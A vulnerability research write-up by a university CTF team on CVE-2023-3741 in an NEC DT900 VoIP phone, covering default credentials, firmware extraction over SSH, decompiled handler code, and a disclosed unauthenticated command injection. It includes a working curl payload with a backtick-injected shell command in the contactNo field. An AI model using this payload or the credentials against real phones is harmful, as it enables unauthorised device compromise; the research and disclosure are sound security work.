havce CTF Team

havce CTF Team

CVE-2023-3741: how we hacked a VoIP telephone

Photo of Manuel Romei Photo of Gianluca Altomani

Almost every room in our University is equipped with a VoIP phone. Our hacking lab is located in the “Sede scientifica” building inside the University of Parma Campus. This means we have access to a VoIP telephone too.

The model installed in our lab is a DT900 VoIP phone manufactured by NEC. From the NEC website, UNIVERGE IP Desktop Phones DT900 Series is a highly reliable and versatile suite of IP telephones.

They forgot to advertise that these telephones are running Linux.

Initial reconnaissance

We started poking at the telephone by running a nmap scan, which revealed many open ports:

  • 80 and 443 for the web interface
  • 5060 and 5061 for SIP

A web interface was indeed available on both ports 80 and 443. This allows an administrator to remotely adjust settings without having to be phisically present.

The interface required us to login with a valid credential. After having googled a bit, we found the default passwords along with a bonus nasty backdoor account.

We only had laid our eyes on the target for 10 minutes and we already secured ADMIN access. Unsatisfied, we continued our search, since we were looking for more.

DT900 Web Interface login page

Gaining SSH access

In the web interface menues there’s an option to enable SSH access, which, of course, we enabled. After all, who wouldn’t want to SSH into their own telephone?

After rebooting, port 22 was open and reachable.

DT900 Web Interface SSH toggle

Finding the SSH credentials was just as easy as finding the web interface ones, since they had already been leaked online on the same website (not that 842444 would have been particularly difficult to crack).

The SSH server on the device is pretty old and does not support a lot of newer algorithms. In order to connect from a modern system, we need to set some SSH flags.

ssh -o "KexAlgorithms +diffie-hellman-group1-sha1" -o "HostKeyAlgorithms +ssh-dss" -o "Ciphers +aes128-cbc" [email protected]


An initial inspection revealed that the entire phone functionality is provided by a single binary called lynxphone, which causes a restart when it dies, a standard IoT practice.

Dumping the firmware

We didn’t have a firmware upgrade file available but we still needed a way to extract a firmware image. We could have used the USB port on the back of the phone, but we opted for the much simpler solution of copying one file at a time via SSH, with an extremely powerful and clean Python script.

Compressing was not an option due to the limited amount of RAM available on the telephone. Other utilities like scp and rsync were also missing. So, this is the script:

import os
import subprocess
import sys

path = sys.argv[1]
files = subprocess.check_output(f"sshpass -p 8442444 ssh [email protected] -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=diffie-hellman-group1-sha1 -c aes256-cbc 'find {path} -type f'", shell=True).decode().split("\n")

for file in files:
    os.makedirs(os.path.dirname(file)[1:], exist_ok=True)
    os.system(f"sshpass -p 8442444 ssh [email protected] -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=diffie-hellman-group1-sha1 -c aes256-cbc 'cat {file}' > {file[1:]}")

Finally, we had a copy of the entire filesystem. We were particularly interested on the lynxphone binary, which we promptly fed to Ghidra.

Finding the bug

Since the web interface is enabled by default, it is a perfect target to look for bugs. We dug into the code responsible for handling the web requests and the way it functions is pretty… let’s say it just works.

When a HTTP request comes in, it is handled by lighttpd which passes it to a binary called ipc_client using CGI. ipc_client wraps the request into a message and forwards it to lynxphone using a shared in-memory queue.

Based on the request ID, different handlers are used (menu, main, header and footer). Requests with a body are handled quite differently from the GET ones, as you can see from the code.

// webcgi_get_form
printf("[WebCGI]%s : Start\n","webcgi_get_form");

req_method = httpGetEnv(req_id,"REQUEST_METHOD");
printf("[WebCGI]request method : %s\n",req_method);
if (req_method == (char *)0x0) {
    return 0;

is_req_post = strcmp(req_method,"POST");
if (is_req_post == 0) {
    // do more stuff
    // see snippet below
    return 1;

return 0;

First of all, the body of the request is read from a file called /tmp/abc.txt, which is just a funny name I guess? It is then parsed…?

// handle POST request
tmp_fd = fopen("/tmp/abc.txt","r");
printf("[WebCGI]http request is POST.\n");
content_len_str = httpGetEnv(req_id,"CONTENT_LENGTH");
content_len = atoi(content_len_str);
content_buffer = (char *)malloc(content_len + 1);
if (content_buffer == (char *)0x0) {
    return -1;

if (tmp_fd != (FILE *)0x0) {
    local_54 = fread(content_buffer,1,content_len,tmp_fd);

    content_buffer[content_len] = '\0';
    form_size = 0;
    form_data[0] = strtok(content_buffer,form_split_delimiters);
    while (form_data[form_size] != (char *)0x0) {
        next_form = form_size + 1;
        form_size = next_form;
        pcVar2 = strtok((char *)0x0,form_split_delimiters);
        form_data[next_form] = pcVar2;

    // read form_data content

If you haven’t noticed already, strtok is trying to parse a JSON object. Pretty nice, huh? There’s no reason for your JSON parser to be more than 8 lines long.

Additionally, there are no bound checks on the number of items placed in the form_data array, causing out of bounds writes on the stack. This will be covered in another article.

The JSON parsing function is triggered by the insert contact functionality in the address book inside the web UI. It should allow logged users to upload a contact image along with other details.

This JSON object can contain many keys, but the most interesting ones are session_id and contactNo.

The form_data array is iterated field by field and if the key matches a known one, the value (the field found at index + 1) is processed and placed in a local variable.

So, for example, the contactNo field is read as follows:

is_contact_no = strcmp("contactNo",form_data[form_idx]);
if (is_contact_no == 0) {
    strcpy(field_contact_no,form_data[form_idx + 1]);
    is_contact_no_invalid = strcmp(field_contact_no,",");
    if (is_contact_no_invalid == 0) {
        append_to_resp_body(req_id,0,"DIRECTORY_ERROR = Name Or Number Is Empty\r\n");
        return -1;

The session_id is not stored in a local variable, but checked right away:

is_session_id = strcmp("session_id",form_data[form_idx]);
if (is_session_id == 0) {
    sess_num = strtol(form_data[form_idx + 1],(char **)0x0,0x10);
    if ((sess_num != LOGIN_SESS_NUM) || (DAT_00a72f9c == 1)) {
        append_to_resp_body(req_id,0,"DIRECTORY_ERROR = Session is Expired!!\r\n");
        return -1;

After the code has looped all the form_data elements, the contact image is decoded and saved. The contact is then added to the database.

field_image_9j = strstr(field_image,"/9j/");
field_image_default = strstr(field_image,"/iJ308XlT2ybR/iJ308XlULRBNDti2jEEfaN4zw4U8XlXGvOrNSahc03y81VY1hy1j5Pcae0NHug9+FxEQEREH/9k=");
field_image_webcgi = strstr(field_image,"webcgi");
field_image_tmp = strstr(field_image,"/tmp/");
field_image_http = strcmp(field_image,"http");
if (((field_image_http == 0) || (field_image_webcgi != (char *)0x0)) ||
    (field_image_default != (char *)0x0)) {
else if (field_image_tmp == (char *)0x0) {
    if (field_image_9j != (char *)0x0) {
        i = 0;
        for (i = 0; uVar1 = i, sVar3 = strlen(contact_no_clean), uVar1 <= sVar3; i = i + 1) {
            if (contact_no_clean[i] == '#') {
                contact_no_clean[i] = '0';
        image_tmp_fd = fopen("/tmp/image.txt","w");
        if (image_tmp_fd != (FILE *)0x0) {
        sprintf(base64_cmd,"base64 -d /tmp/image.txt > /tmp/%s%s.jpg",contact_no_clean,field_image_name);
        local_3c = system_fork_sh_wait(base64_cmd);
        if (local_3c != 0) {
            log(4,"***IMAGE DECODE FAILED*** : %d\n",0x7af1);
else {

return -1;

It’s evident that there’s a major command injection vulnerability with the contact_no_clean and field_image_name variables. This vulnerability stems from the system_fork_sh_wait function executing commands with sh -c, enabling shell substitution and injection.

Less obvious is the fact that authentication can be fully bypassed by omitting the session_id field from the request. Without the session_id, authentication is never validated, allowing passage as if authenticated.

There are also many buffer overflow vulnerabilities due to the unchecked use of strcpy, which can cause denial of service by crashing the lynxphone application.

Exploiting the bug

The exploit isn’t particularly fancy and can be executed with a single line of curl:

curl -X POST --data '{"name":"1337","contactNo":"1337`touch /tmp/pwned`","index":0,"speed":"1337","monitor":"0","image":"/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUND","image_name":"1"}'

The magic happens inside the contactNo field, where backticks are used to execute the touch /tmp/pwned command.

The exploit is quite stealth as it doesn’t trigger any alarm on the phone itself like the Web Interface does (the phone display shows a message when a user is logged in the web UI) and can potentially compromise the phone by installing a backdoor.

Notes on GDB and emulation

During exploit development we needed a way to debug without having a real phone available at hand. We tried to emulate the lynxphone application using qemu-user and chroot, but it failed SIGSEGV-ing, trying to use non-existent devices.

We overcome this by using a statically compiled gdbserver on a real DT900 telephone, available under our IoT Tailscale-enabled subnet.


We reported the Aforementioned bug to NEC, the VoIP phone manufacturer, via their Vulnerability Disclosure Program. They got back to us pretty fast.

The fix was available after a little longer than usual (after 3 months from the initial disclosure). They handled it very professionally and took care of reserving a CVE and disclosing it, since they are a registered CNA.


We gave a talk about this vulnerability during the GARR Workshop in 2023. You can find the talk here, in italian.